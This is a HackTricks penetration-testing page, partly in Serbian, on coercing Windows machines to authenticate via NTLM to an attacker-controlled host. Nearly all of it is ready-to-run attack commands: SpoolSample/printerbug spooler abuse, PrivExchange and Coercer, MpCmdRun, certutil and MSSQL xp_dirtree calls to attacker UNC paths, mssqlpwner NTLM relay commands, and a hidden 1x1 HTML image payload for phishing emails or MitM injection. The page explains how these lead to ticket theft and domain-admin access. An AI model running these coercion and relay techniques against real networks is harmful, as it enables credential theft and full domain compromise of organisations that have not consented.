Force NTLM Privileged Authentication

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SharpSystemTriggers

SharpSystemTriggers je kolekcija okidača za daljinsku autentifikaciju napisanih u C# koristeći MIDL kompajler kako bi se izbegle zavisnosti od trećih strana.

Spooler Service Abuse

Ako je Print Spooler servis omogućen, možete koristiti neke već poznate AD akreditive da zatražite od štampača na kontroleru domena ažuriranje novih štampanja i jednostavno mu reći da pošalje obaveštenje nekom sistemu.
Napomena: kada štampač pošalje obaveštenje nekom proizvoljnom sistemu, mora da se autentifikuje protiv tog sistema. Stoga, napadač može naterati Print Spooler servis da se autentifikuje protiv proizvoljnog sistema, a servis će koristiti račun računara u ovoj autentifikaciji.

Finding Windows Servers on the domain

Koristeći PowerShell, dobijte listu Windows mašina. Serveri su obično prioritet, pa se fokusirajmo na njih:

bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Pronalaženje Spooler usluga koje slušaju

Koristeći malo izmenjeni @mysmartloginov (Vincent Le Toux) SpoolerScanner, proverite da li Spooler usluga sluša:

bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Možete takođe koristiti rpcdump.py na Linux-u i tražiti MS-RPRN protokol.

bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Zatražite od usluge da se autentifikuje protiv proizvoljnog hosta

Možete kompajlirati SpoolSample odavde.

bash
SpoolSample.exe <TARGET> <RESPONDERIP>

ili koristite 3xocyte's dementor.py ili printerbug.py ako ste na Linuxu

bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Kombinovanje sa Neograničenom Delegacijom

Ako je napadač već kompromitovao računar sa Neograničenom Delegacijom, napadač može naterati štampač da se autentifikuje protiv ovog računara. Zbog neograničene delegacije, TGT računarskog naloga štampača će biti sačuvan u memoriji računara sa neograničenom delegacijom. Pošto je napadač već kompromitovao ovaj host, moći će da izvuče ovu kartu i zloupotrebi je (Pass the Ticket).

RCP Prisilna autentifikacija

GitHub - p0dalirius/Coercer: A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 12 methods.

PrivExchange

Napad PrivExchange je rezultat greške pronađene u Exchange Server PushSubscription funkciji. Ova funkcija omogućava da Exchange server bude primoran od strane bilo kog korisnika domena sa poštanskim sandučetom da se autentifikuje na bilo kojem klijentskom hostu preko HTTP-a.

Podrazumevano, Exchange servis radi kao SYSTEM i ima prekomerne privilegije (specifično, ima WriteDacl privilegije na domen pre-2019 Kumulativno Ažuriranje). Ova greška se može iskoristiti da omogući preusmeravanje informacija na LDAP i naknadno izvlačenje NTDS baze podataka domena. U slučajevima kada preusmeravanje na LDAP nije moguće, ova greška se i dalje može koristiti za preusmeravanje i autentifikaciju na druge hostove unutar domena. Uspešna eksploatacija ovog napada omogućava trenutni pristup Administraciji Domenom sa bilo kojim autentifikovanim korisničkim nalogom domena.

Unutar Windows-a

Ako ste već unutar Windows mašine, možete naterati Windows da se poveže sa serverom koristeći privilegovane naloge sa:

Defender MpCmdRun

bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Ili koristite ovu drugu tehniku: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Moguće je koristiti certutil.exe lolbin (Microsoft-ov potpisani binarni fajl) za primoravanje NTLM autentifikacije:

bash
certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injekcija

Putem emaila

Ako znate email adresu korisnika koji se prijavljuje na mašinu koju želite da kompromitujete, možete mu jednostavno poslati email sa 1x1 slikom kao što je

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

i kada ga otvori, pokušaće da se autentifikuje.

MitM

Ako možete da izvršite MitM napad na računar i ubrizgate HTML na stranicu koju će vizualizovati, mogli biste pokušati da ubrizgate sliku poput sledeće na stranicu:

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Drugi načini za forsiranje i phishing NTLM autentifikacije

Places to steal NTLM creds

Razbijanje NTLMv1

Ako možete da uhvatite NTLMv1 izazove pročitajte ovde kako da ih razbijete.
Pametite da da biste razbili NTLMv1 morate postaviti Responder izazov na "1122334455667788"

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks